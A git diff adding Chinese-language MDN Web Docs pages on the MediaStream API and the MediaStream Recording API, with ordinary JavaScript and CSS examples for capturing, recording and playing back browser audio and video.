{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
{{ CompatUnknown() }} + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediastream/active/index.html b/files/zh-cn/web/api/mediastream/active/index.html new file mode 100644 index 0000000000..904001fd9c --- /dev/null +++ b/files/zh-cn/web/api/mediastream/active/index.html @@ -0,0 +1,59 @@ +--- +title: active +slug: Web/API/MediaStream/active +tags: + - 参考 + - 媒体流 + - 属性 + - 接口 + - 活动 +translation_of: Web/API/MediaStream/active +--- +

{{APIRef("Media Capture and Streams")}}

+ +

active 是 {{domxref("MediaStream")}} 接口的只读属性,返回布尔值,如果媒体流当前为活动状态时,返回 true ,否则返回 false。 至少有一条 {{domxref("MediaStreamTrack")}} 的媒体流不是{{domxref("MediaStreamTrack.ended")}} 状态时才认为是 活动的 。当所有轨道关闭时,媒体流的属性置为 false。

+ +

语法

+ +
var isActive = MediaStream.active;
+ +

Value

+ +

布尔值,当媒体流当前为活动状态时为 true ; 否则为 false.

+ +

样例

+ +

在这个例子中,使用{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}请求源为用户本地摄像机和麦克风的一条新流,当流可用时(即满足返回的{{jsxref("Promise")}}),根据该流当前是否处于活动状态来更新页面上的按钮。

+ +
var promise = navigator.mediaDevices.getUserMedia({
+  audio: true,
+  video: true
+});
+
+promise.then(function(stream) {
+  var startBtn = document.querySelector('#startBtn');
+  startBtn.disabled = stream.active;
+};)
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastream-active', 'active')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.MediaStream.active")}}

diff --git a/files/zh-cn/web/api/mediastream/clone/index.html b/files/zh-cn/web/api/mediastream/clone/index.html new file mode 100644 index 0000000000..664ea6ffc6 --- /dev/null +++ b/files/zh-cn/web/api/mediastream/clone/index.html @@ -0,0 +1,43 @@ +--- +title: MediaStream.clone() +slug: Web/API/MediaStream/clone +translation_of: Web/API/MediaStream/clone +--- +

{{APIRef("Media Capture and Streams")}}

+ +

The clone() method of the {{domxref("MediaStream")}} interface creates a duplicate of the MediaStream. This new MediaStream object has a new unique {{domxref("MediaStream.id", "id")}} and contains clones of every {{domxref("MediaStreamTrack")}} contained by the MediaStream on which clone() was called.

+ +

Syntax

+ +
var stream = MediaStream.clone();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

A new {{domxref("MediaStream")}} instance which has a new unique ID and contains clones of every {{domxref("MediaStreamTrack")}} contained by the MediaStream on which clone() was called.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#widl-MediaStream-clone-MediaStream', 'MediaStream.clone()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.MediaStream.clone")}}

diff --git a/files/zh-cn/web/api/mediastream/getaudiotracks/index.html b/files/zh-cn/web/api/mediastream/getaudiotracks/index.html new file mode 100644 index 0000000000..4c7bb6dad1 --- /dev/null +++ b/files/zh-cn/web/api/mediastream/getaudiotracks/index.html @@ -0,0 +1,78 @@ +--- +title: MediaStream.getAudioTracks() +slug: Web/API/MediaStream/getAudioTracks +tags: + - API + - getAudioTracks + - 媒体 + - 媒体流 + - 媒体流 API + - 媒体流轨道 + - 方法 + - 轨道 + - 音频 +translation_of: Web/API/MediaStream/getAudioTracks +--- +

{{APIRef("Media Capture and Streams")}}

+ +

{{domxref("MediaStream")}} 接口下的 getAudioTracks() 方法会返回一个包含 track set 流中所有 {{domxref("MediaStreamTrack.kind")}} 为 audio 的 {{domxref("MediaStreamTrack")}} 对象序列。

+ +

语法

+ +
var mediaStreamTracks = mediaStream.getAudioTracks()
+ +

参数

+ +

+ +

返回值

+ +

{{domxref("MediaStreamTrack")}} 对象数组,包含流中所有的音轨。音轨的 {{domxref("MediaStreamTrack.kind", "kind")}} 值为 audio 。如果流中不包含音轨,则数组为空。

+ +
+

注意:数组中返回的顺序并不是由规范定义的,事实上,每次调用 getAudioTracks() 的结果都可能有所不同。

+
+ +

更早版本的本API中,包含一个用做列表中每个音频类型的 AudioStreamTrack 接口;现在已被合并至 {{domxref("MediaStreamTrack")}} 主接口中。

+ +

示例

+ +

本示例使用 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 获取视频流中的网络摄像机的音频和视频,并将媒体流绑定到 {{HTMLElement("video")}} 元素,然后设置一个计时器,计时器到期时会停止在该媒体流中找到的第一个音轨。

+ +
navigator.mediaDevices.getUserMedia({audio: true, video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+  // Stop the audio stream after 5 seconds
+  setTimeout(() => {
+    const tracks = mediaStream.getAudioTracks()
+    tracks[0].stop()
+  }, 5000)
+})
+
+ +

说明

+ + + + + + + + + + + + + + + + +
说明状态评论
{{SpecName('Media Capture','#dom-mediastream-getaudiotracks','getAudioTracks()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaStream.getAudioTracks")}}

diff --git a/files/zh-cn/web/api/mediastream/gettracks/index.html b/files/zh-cn/web/api/mediastream/gettracks/index.html new file mode 100644 index 0000000000..c47d48473b --- /dev/null +++ b/files/zh-cn/web/api/mediastream/gettracks/index.html @@ -0,0 +1,65 @@ +--- +title: MediaStream.getTracks() +slug: Web/API/MediaStream/getTracks +tags: + - 参考 + - 媒体流 + - 媒体流 API + - 媒体轨道 + - 方法 +translation_of: Web/API/MediaStream/getTracks +--- +

{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}

+ +

{{domxref("MediaStream")}} 接口的getTracks() 方法会返回一个包含  track set 流中所有 {{domxref("MediaStreamTrack")}}  对象的序列, 序列内容与{{domxref("MediaStreamTrack.kind")}} 无关。

+ +

语法

+ +
var mediaStreamTracks = mediaStream.getTracks()
+ +

参数

+ +

+ +

返回值

+ +

{{domxref("MediaStreamTrack")}} 对象的数组

+ +

示例

+ +
navigator.mediaDevices.getUserMedia({audio: false, video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+  // Stop the stream after 5 seconds
+  setTimeout(() => {
+    const tracks = mediaStream.getTracks()
+    tracks[0].stop()
+  }, 5000)
+})
+ +

说明

+ + + + + + + + + + + + + + + + +
说明状态评论
{{SpecName('Media Capture','#dom-mediastream-gettracks','getTracks()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器支持情况

+ + + +

{{Compat("api.MediaStream.getTracks")}}

diff --git a/files/zh-cn/web/api/mediastream/id/index.html b/files/zh-cn/web/api/mediastream/id/index.html new file mode 100644 index 0000000000..ef5d47c56c --- /dev/null +++ b/files/zh-cn/web/api/mediastream/id/index.html @@ -0,0 +1,99 @@ +--- +title: MediaStream.id +slug: Web/API/MediaStream/id +translation_of: Web/API/MediaStream/id +--- +

{{APIRef("WebRTC")}}

+ +

MediaStream.id 只读属性,一个包含36个字符的 {{domxref("DOMString")}} ,用来作为这个对象的唯一标识符 (GUID) 。

+ +

语法

+ +
var id = mediaStream.id;
+
+ +

示例

+ +
var p = navigator.mediaDevices.getUserMedia({ audio: true, video: true });
+
+p.then(function(stream) {
+   console.log(stream.id);
+};)
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#widl-MediaStream-id', 'MediaStream.id')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(41) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(41) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/mediastream/index.html b/files/zh-cn/web/api/mediastream/index.html new file mode 100644 index 0000000000..049ea4a3f9 --- /dev/null +++ b/files/zh-cn/web/api/mediastream/index.html @@ -0,0 +1,101 @@ +--- +title: 媒体流(MediaStream) +slug: Web/API/MediaStream +translation_of: Web/API/MediaStream +--- +
{{APIRef("Media Capture and Streams")}}
+ +
MediaStream 接口是一个媒体内容的流.。一个流包含几个轨道,比如视频和音频轨道。
+ +

属性

+ +
+
+ +
+
{{domxref("MediaStream.active")}} {{readonlyinline}}
+
布尔型。如果这个流处于活动状态值为true,反之为false
+
{{domxref("MediaStream.ended")}} {{readonlyInline}}{{obsolete_inline()}}
+
布尔型。如果 {{event("ended (MediaStream)", "ended")}} 事件在这个对象上触发了,也就是说这个流已经被完全读取,值为true。 如果还没有到达这个流的尾部,值为false。
+
+ +
+
{{domxref("MediaStream.id")}} {{readonlyInline}}
+
这是一个包含36个字符的 {{domxref("DOMString")}} ,用来作为这个对象的唯一标识符 (GUID) 。
+
+ +

事件处理

+ +
+
{{domxref("MediaStream.onaddtrack")}}
+
这是{{event("addtrack")}}事件在这个对象上触发时调用的事件处理器[{{domxref("EventHandler")}}],这时一个{{domxref("MediaStreamTrack")}}对象被添加到这个流。
+
{{domxref("MediaStream.onended")}}
+
这是当流终止[{{event("ended (MediaStream)","ended")}}]时触发的事件。
+
{{domxref("MediaStream.onremovetrack")}}
+
这是{{event("removetrack")}}事件在这个对象上触发事调用的事件处理器[{{domxref("EventHandler")}}],这时一个对象从流上移除。
+
+ +

方法

+ +
+
{{domxref("MediaStream.addTrack()")}}
+
存储传入参数 {{domxref("MediaStreamTrack")}} 的一个副本。如果这个轨道已经被添加到了这个媒体流,什么也不会发生; 如果目标轨道为“完成”状态(也就是已经到尾部了),一个INVALID_STATE_RAISE异常会产生。
+
+ +
+
{{domxref("MediaStream.clone()")}}
+
返回这个MediaStream对象的克隆版本。返回的版本会有一个新的ID。
+
返回给定ID的轨道。如果没有参数或者没有指定ID的轨道,将返回null。如果有几个轨道有同一个ID,将返回第一个。
+
+ +
+
{{domxref("MediaStream.getTracks()")}}
+
返回流中所有的{{domxref("MediaStreamTrack")}}列表。
+
+ +
+
{{domxref("MediaStream.getAudioTracks()")}}
+
返回流中kind属性为"audio"的{{domxref("MediaStreamTrack")}}列表。顺序是不确定的,不同浏览器间会有不同,每次调用也有可能不同。
+
+ +
+
{{domxref("MediaStream.getTrackById()")}}
+
返回给定ID的轨道。如果没有参数或者没有指定ID的轨道,将返回null。如果有几个轨道有同一个ID,将返回第一个。
+
+ +
+
{{domxref("MediaStream.getVideoTracks()")}}
+
返回流中kind属性为"video"的{{domxref("MediaStreamTrack")}}列表。顺序是不确定的,不同浏览器间会有不同,每次调用也有可能不同。
+
+ +
+
{{domxref("MediaStream.removeTrack()")}}
+
移除作为参数传入的 {{domxref("MediaStreamTrack")}}。 如果这个轨道不在MediaStream对象中什么也不会发生; 如果目标轨道为“完成”状态,一个INVALID_STATE_RAISE异常会产生。
+
+ +

说明

+ + + + + + + + + + + + + + +
说明状态评论
{{SpecName('Media Capture', '#mediastream', 'MediaStream')}}{{Spec2('Media Capture')}}
+ +

浏览器支持情况

+ +
{{Compat("api.MediaStream")}}
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/mediastream/mediastream/index.html b/files/zh-cn/web/api/mediastream/mediastream/index.html new file mode 100644 index 0000000000..1775c27fbb --- /dev/null +++ b/files/zh-cn/web/api/mediastream/mediastream/index.html @@ -0,0 +1,59 @@ +--- +title: MediaStream() +slug: Web/API/MediaStream/MediaStream +translation_of: Web/API/MediaStream/MediaStream +--- +
{{APIRef("Media Capture and Streams")}}
+ +

 构造函数MediaStream() 返回新建的 {{domxref("MediaStream")}} 实例,该实例作为媒体流的内容的集合载体,其可能包含多个媒体数据轨,每个数据轨则由一个 {{domxref("MediaStreamTrack")}} 对象表示。如果给出相应参数,在指定的数据轨则被添加到新的流中。否则,该流中不包含任何数据轨。

+ +

语法

+ +
newStream = new MediaStream();
+newStream = new MediaStream(stream);
+newStream = new MediaStream(tracks[]);
+
+ +

参数

+ +
+
stream
+
这是另一个 {{domxref("MediaStream")}} 对象,其数据轨会被自动添加到新建的流中。且这些数据轨不会从原流中移除,即变成了两条流共享的数据。
+
tracks
+
这是 {{domxref("MediaStreamTrack")}} 对象的 {{jsxref("Array")}} 类型的成员,代表了每一个添加到流中的数据轨。
+
+ +

返回值

+ +

新建的 {{domxref("MediaStream")}} 对象,会包含创建时已给的数据轨内容,若没有给定任何数据轨则内容为空。

+ +

参数类别

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#mediastream', 'MediaStream')}}{{Spec2('Media Capture')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaStream.MediaStream")}}

+ +

也可参考

+ + diff --git a/files/zh-cn/web/api/mediastream_recording_api/index.html b/files/zh-cn/web/api/mediastream_recording_api/index.html new file mode 100644 index 0000000000..81abb53450 --- /dev/null +++ b/files/zh-cn/web/api/mediastream_recording_api/index.html @@ -0,0 +1,228 @@ +--- +title: MediaStream Recording API +slug: Web/API/MediaStream_Recording_API +tags: + - API + - Audio + - Media + - Media Capture and Streams + - MediaStream Recording + - MediaStream Recording API + - NeedsTranslation + - Overview + - Reference + - TopicStub + - Video +translation_of: Web/API/MediaStream_Recording_API +--- +
{{DefaultAPISidebar("MediaStream Recording")}}
+ +
MediaStream Recording API 有时简称为Media Recording API 或者 MediaRecorder API, 与 Media Capture and Streams API 和 WebRTC API 密切相关. MediaStream Recording API 使得捕获通过 {{domxref("MediaStream")}} 或者{{domxref("HTMLMediaElement")}} 对象产生的用于分析、加工或者保存到硬盘的数据成为可能. 它也非常容易让人们使用.
+ +

基本概念

+ +

MediaStream Recording API 由一个主接口{{domxref("MediaRecorder")}}组成,这个接口负责的所有工作是从{{domxref("MediaStream")}}获取数据并将其传递给你进行处理。数据通过一系列{{event("dataavailable")}}事件传递,这些数据已经成为你创建 MediaRecorder 时所声明的格式。然后,您可以进一步处理数据,或者根据需要将其写入文件。

+ +

录制过程概述

+ +

记录一个流的过程是非常容易的:

+ +
    +
  1. 建立一个 {{domxref("MediaStream")}}或者{{domxref("HTMLMediaElement")}} (以 {{HTMLElement("audio")}} 或 {{HTMLElement("video")}} 元素的形式) 来充当媒体数据的源.
  2. +
  3. 创建一个 {{domxref("MediaRecorder")}} 对象, 指定源以及任何有需求的的选项 (比如容器的 MIME 类型或它轨道所需的比特率).
  4. +
  5. 给 {{event("dataavailable")}} 事件设置{{domxref("MediaRecorder.ondataavailable")}} 事件处理函数; 会在数据可利用时候调用.
  6. +
  7. 一旦媒体源播放,你已经准备好录制,使用 {{domxref("MediaRecorder.start()")}} 开始录制.
  8. +
  9. {{event("dataavailable")}} 事件处理函数正如你所愿的在每次数据准备好时调用; 这个事件有一个值为包含媒体数据的{{domxref("Blob")}} 类型的 data 属性. 你可以强制 dataavailable 事件发生, 因此会给你传递最新的声音以至于可以让你过滤、保存或者做一些其他的事情。
  10. +
  11. 当源媒体停止播放时候,录制自动结束.
  12. +
  13. 你可以随时结束录制通过使用 {{domxref("MediaRecorder.stop()")}}.
  14. +
+ +
+

注意: 单单使用包含已经录制好媒体切片的{{domxref("Blob")}}s 将大可不能单独播放. 媒体在重放之前需要重新组装 .

+
+ +

如果在录制过程中出错, {{event("error")}} 事件将会传给MediaRecorder. 你可以设置{{domxref("MediaRecorder.onerror", "onerror")}}去监听 error 事件.

+ +

例子中,我们使用Canvas 作为{{domxref("MediaStream")}}的源,在9秒后停止录音.

+ +
var canvas = document.querySelector("canvas");
+
+// Optional frames per second argument.
+var stream = canvas.captureStream(25);
+var recordedChunks = [];
+
+console.log(stream);
+var options = { mimeType: "video/webm; codecs=vp9" };
+mediaRecorder = new MediaRecorder(stream, options);
+
+mediaRecorder.ondataavailable = handleDataAvailable;
+mediaRecorder.start();
+
+function handleDataAvailable(event) {
+  console.log("data-available");
+  if (event.data.size > 0) {
+    recordedChunks.push(event.data);
+    console.log(recordedChunks);
+    download();
+  } else {
+    // ...
+  }
+}
+function download() {
+  var blob = new Blob(recordedChunks, {
+    type: "video/webm"
+  });
+  var url = URL.createObjectURL(blob);
+  var a = document.createElement("a");
+  document.body.appendChild(a);
+  a.style = "display: none";
+  a.href = url;
+  a.download = "test.webm";
+  a.click();
+  window.URL.revokeObjectURL(url);
+}
+
+// demo: to download after 9sec
+setTimeout(event => {
+  console.log("stopping");
+  mediaRecorder.stop();
+}, 9000);
+ +

检查 and 控制记录器的状态

+ +

你也可以使用 MediaRecorder 对象的属性去决定录制过程的状态, 用 {{domxref("MediaRecorder.pause", "pause()")}} 和 {{domxref("MediaRecorder.resume", "resume()")}} 方法暂停或者继续媒体源的录制.

+ +

如果你需要检查一个特殊的MIME类型是否被支持,使用{{domxref("MediaRecorder.isTypeSupported()")}}.

+ +

检查潜在的输入源

+ +

如果你的目标是记录摄像头或麦克风输入,您可能希望在构建 MediaRecorder 之前检查可用的输入设备. 这时,你需要调用 {{domxref("MediaDevices.enumerateDevices", "navigator.mediaDevices.enumerateDevices()")}} 来得到可使用的媒体设备. 你可以检查此列表,发现潜在的设备,甚至在有需要的时候过滤掉设备.

+ +

在这块代码中, enumerateDevices() 被用来检查可利用的设备,找到那些音频输入设备, 创建{{HTMLElement("option")}} 元素,之后添加到{{HTMLElement("select")}}元素,代表输入源选择器 .

+ +
navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    let menu = document.getElementById("inputdevices");
+    if (device.kind == "audioinput") {
+      let item = document.createElement("option");
+      item.innerHTML = device.label;
+      item.value = device.deviceId;
+      menu.appendChild(item);
+    }
+  });
+});
+ +

类似的代码可以用来让用户限制他们希望使用的设备。

+ +

更多信息

+ +

更多关于MediaStream Recording API 的使用, 查看 Using the MediaStream Recording API, 这个显示了如何使用API来记录音频剪辑. 另一篇文章, Recording a media element, 介绍了如何从 {{HTMLElement("audio")}} 或{{HTMLElement("video")}} 元素 接收信息流和如何使用接收到的信息流(这个案例中,接收、存到硬盘)。 

+ +

参考

+ +
+
{{domxref("BlobEvent")}}
+
Each time a chunk of media data is finished being recorded, it's delivered to consumers in {{domxref("Blob")}} form using a {{domxref("BlobEvent")}} of type dataavailable.
+
{{domxref("MediaRecorder")}}
+
The primary interface that implements the MediaStream Recording API.
+
{{domxref("MediaRecorderErrorEvent")}}
+
The interface that represents errors thrown by the MediaStream Recording API. Its {{domxref("MediaRecorderErrorEvent.error", "error")}} property is a {{domxref("DOMException")}} that specifies that error occurred.
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

浏览器支持情况

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{CompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}1.3[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(47.0)}}
+
+ +

[1] The initial Firefox OS implementation only supported audio recording.

+ +

[2] To use {{domxref("MediaRecorder")}} in Chrome 47 and 48, enable experimental Web Platform features from the chrome://flags page.

+ +

[3] Audio recording works in Chrome 49 and above; Chrome 47 and 48 only support video recording.

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/zh-cn/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html new file mode 100644 index 0000000000..c0e24fdedd --- /dev/null +++ b/files/zh-cn/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html @@ -0,0 +1,313 @@ +--- +title: 使用MediaStream的录制API +slug: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API +translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API +--- +

{{DefaultAPISidebar("MediaStream Recording")}}

+ +
+

媒体流(音/视频)录制API让记录音频流或视频流信息更加容易。当使用navigator.mediaDevices.getUserMedia()"时,它提供了一种简单的方式从用户的输入设备中记录信息,并且可以马上在web apps中查看记录的信息。音/视频信息都可以被录制,可以分开也可以一块儿。本文针对于提供一个基础引导去让大家了解提供了这个API的MediaRecorder的界面。

+
+ +

示例应用: Web录音机

+ +

An image of the Web dictaphone sample app - a sine wave sound visualization, then record and stop buttons, then an audio jukebox of recorded tracks that can be played back.

+ +

为了验证MediaRecorder API的基础用法,我们做了一个基于web的录音机。它允许你录制音频片段并播放它。通过使用这个web音频API,它甚至给你提供了一个设备音频输入信息的可视化波浪图。我们在本文中专注于录制和回放功能的实现。

+ +

你可以看到实例演示或是Github上的源码(也可以点此直接下载)。

+ +

CSS goodies

+ +

在这个app应用中的网页是相当简单的,所以我们不会在这里大费周章;但有几个有点意思的CSS样式还是有必要提一下,所以接下来我们会讨论一下。如果你对CSS没有半毛钱兴趣并且想对JavaSdcript单刀直入,请跳转到下面的应用基础设置章节。

+ +

保持主界面对显示区域的约束,用calc()来忽略设备的尺寸

+ +

calc()函数是CSS3中出现的非常实用的功能之一,虽然现在的用处和这个名称看上去关系不大,但是你很快就会觉得“WC,这个功能为什么我们之前没有?为什么之前CSS2的布局会这么蛋疼?”它允许你计算一个CSS单元的计算值,在这个过程中混合不同的单元。

+ +

例如,在Web录音机中,我们有主要的UI区域,垂直堆叠。我们先给出前两块地方(头部和控制件)的固定高度:

+ +
header {
+  height: 70px;
+}
+
+.main-controls {
+  padding-bottom: 0.7rem;
+  height: 170px;
+}
+ +

然而,我们希望使第三块区域(其中包含你可以回放的记录样例)占用任何空间,而不用担心设备的高度。Flexbox流动样式可能是这里的答案,但是对于这样一个简单的布局来说有点过头了。相反,问题是通过使第三个容器的高度等于父高度的100%,再减去另两个的高度和填充来解决的。

+ +
.sound-clips {
+  box-shadow: inset 0 3px 4px rgba(0,0,0,0.7);
+  background-color: rgba(0,0,0,0.1);
+  height: calc(100% - 240px - 0.7rem);
+  overflow: scroll;
+}
+ +
+

注意:现在的浏览器对calc()有着良好的支持,即使是像IE9那样的浏览器也可以。

+
+ +

用于显示/隐藏的复选框

+ +

虽然目前已经做的不错了,但是我们认为我们会提到一个复选框hack做法,它滥用了一个事实,你可以点击复选框的label标签来切换选中/未选中。在web录音机中,通过点击屏幕右上角的问号图标来显示/隐藏信息屏幕。首先,在得到<label>标签之前我们得先设计它的样式,通过设置足够的Z-index堆叠次序来确保它总是坐落于其他元素之上,所以它应该是可点击的:

+ +
label {
+    font-family: 'NotoColorEmoji';
+    font-size: 3rem;
+    position: absolute;
+    top: 2px;
+    right: 3px;
+    z-index: 5;
+    cursor: pointer;
+}
+ +

然后,我们隐藏实际的复选框,因为我们不希望它在我们的UI上乱七八糟:

+ +
input[type=checkbox] {
+   position: absolute;
+   top: -100px;
+}
+ +

接下来,我们将设计信息显示区域(包括在<aside>元素中),给它固定的位置,使它不出现在布局流程中去影响主要的UI三个户,将它转换为默认的位置,并使它平滑显示/隐藏:

+ +
aside {
+   position: fixed;
+   top: 0;
+   left: 0;
+   text-shadow: 1px 1px 1px black;
+   width: 100%;
+   height: 100%;
+   transform: translateX(100%);
+   transition: 0.6s all;
+   background-color: #999;
+   background-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5));
+}
+ +

最后,我们编写一个规则,当选中复选框(当我们点击/聚焦标签)时,相邻的<aside >元素将使它的水平平移值发生变化,并平滑地转换成视图:

+ +
input[type=checkbox]:checked ~ aside {
+  transform: translateX(0);
+}
+ +

应用基础设置

+ +

我们使用getUserMedia()来捕获我们想要的媒体流。我们使用MediaRecorder API来记录信息流,并将每个记录的片段输出到生成的<audio>元素的源中,以便可以回放。

+ +

我们将声明记录和停止按钮变量,<article>元素将包含生成的音频播放器:

+ +
var record = document.querySelector('.record');
+var stop = document.querySelector('.stop');
+var soundClips = document.querySelector('.sound-clips');
+ +

最后,在本节中,我们建立了基本的getUserMedia结构:

+ +
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
+   console.log('getUserMedia supported.');
+   navigator.mediaDevices.getUserMedia (
+      // constraints - only audio needed for this app
+      {
+         audio: true
+      })
+
+      // Success callback
+      .then(function(stream) {
+
+
+      })
+
+      // Error callback
+      .catch(function(err) {
+         console.log('The following getUserMedia error occured: ' + err);
+      }
+   );
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}
+ +

整个事件被封装在一个测试中,该测试在运行其他操作之前检查是否支持getUserMedia。接下来,我们调用getUserMedia,并在其内部定义:

+ + + +
+

注意:下面的所有代码都放在getUserMedia成功回调中。

+
+ +

捕获媒体流

+ +

一旦getUserMedia成功创建了媒体流,您可以使用MediaRecorder()构造函数创建一个新的媒体记录器实例,并直接传递该媒体流流。这是使用MediaRecorder API的入口点。现在,可以使用浏览器的默认编码格式将流捕获到Blob

+ +
var mediaRecorder = new MediaRecorder(stream);
+ +

为了能够方便的控制音频的录制,{{domxref("MediaRecorder")}}的实例提供了一系列有用的方法和事件,在Web Dictaphone这个简单的项目中我们只需使用其中的2个方法和一些事件。首先,为了能在点击Record按钮的时候开始录音,需要调用{{domxref("MediaRecorder.start()")}}:

+ +
record.onclick = function() {
+  mediaRecorder.start();
+  console.log(mediaRecorder.state);
+  console.log("recorder started");
+  record.style.background = "red";
+  record.style.color = "black";
+}
+ +

当{{domxref("MediaRecorder")}}正在记录时,调用{{domxref("MediaRecorder.state")}}会返回"recording"。

+ +

为了收集录制的数据,我们需要监听{{domxref("mediaRecorder.ondataavailable")}}事件:

+ +
var chunks = [];
+
+mediaRecorder.ondataavailable = function(e) {
+  chunks.push(e.data);
+}
+ +

浏览器会在需要的时候触发这个事件,我们也可以通过为{{domxref("MediaRecorder.start()")}}传递一个时间(毫秒)来周期性的触发这个事件或者调用{{domxref("MediaRecorder.requestData()")}}来直接触发。

+ +

最后在点击Stop按钮时我们调用{{domxref("MediaRecorder.stop()")}}方法结束录制,录制所产生的{{domxref("Blob")}}数据会在后面使用。

+ +
stop.onclick = function() {
+  mediaRecorder.stop();
+  console.log(mediaRecorder.state);
+  console.log("recorder stopped");
+  record.style.background = "";
+  record.style.color = "";
+}
+ +

注意,当媒体流结束时会导致录音终止。例如歌曲播放结束,或者用户停止共享他们的麦克风。

+ +

抓取并使用blob数据

+ +

在停止录制后,实例的state属性会返回"inactive",stop事件也被触发。我们需要监听这个事件去处理我们收到的所有录制数据:

+ +
mediaRecorder.onstop = function(e) {
+  console.log("recorder stopped");
+
+  var clipName = prompt('Enter a name for your sound clip');
+
+  var clipContainer = document.createElement('article');
+  var clipLabel = document.createElement('p');
+  var audio = document.createElement('audio');
+  var deleteButton = document.createElement('button');
+
+  clipContainer.classList.add('clip');
+  audio.setAttribute('controls', '');
+  deleteButton.innerHTML = "Delete";
+  clipLabel.innerHTML = clipName;
+
+  clipContainer.appendChild(audio);
+  clipContainer.appendChild(clipLabel);
+  clipContainer.appendChild(deleteButton);
+  soundClips.appendChild(clipContainer);
+
+  var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+  chunks = [];
+  var audioURL = window.URL.createObjectURL(blob);
+  audio.src = audioURL;
+
+  deleteButton.onclick = function(e) {
+    var evtTgt = e.target;
+    evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+  }
+}
+ +

我们来看一下上面的代码干了什么:

+ +

首先,用一个弹窗来让用户可以为录音提供一个名称。

+ +

接下来,我们创建一个如下所示的HTML结构,将其插入到我的剪辑容器中,这是一个{{htmlelement("article")}}元素。

+ +
<article class="clip">
+  <audio controls></audio>
+  <p>your clip name</p>
+  <button>Delete</button>
+</article>
+ +

